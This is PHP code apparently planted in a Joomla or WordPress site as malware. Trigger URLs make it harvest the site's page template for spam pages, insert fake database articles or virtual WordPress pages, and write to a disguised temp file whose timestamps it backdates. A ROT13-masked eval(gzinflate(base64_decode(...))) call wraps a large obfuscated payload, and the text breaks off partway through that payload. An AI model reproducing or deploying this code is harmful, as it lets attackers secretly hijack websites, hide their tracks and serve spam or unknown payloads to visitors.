if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#

\[CONTENT\]

#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } } $tesst = "riny(tmvasyngr(onfr64_qrpbqr(fge_ebg13('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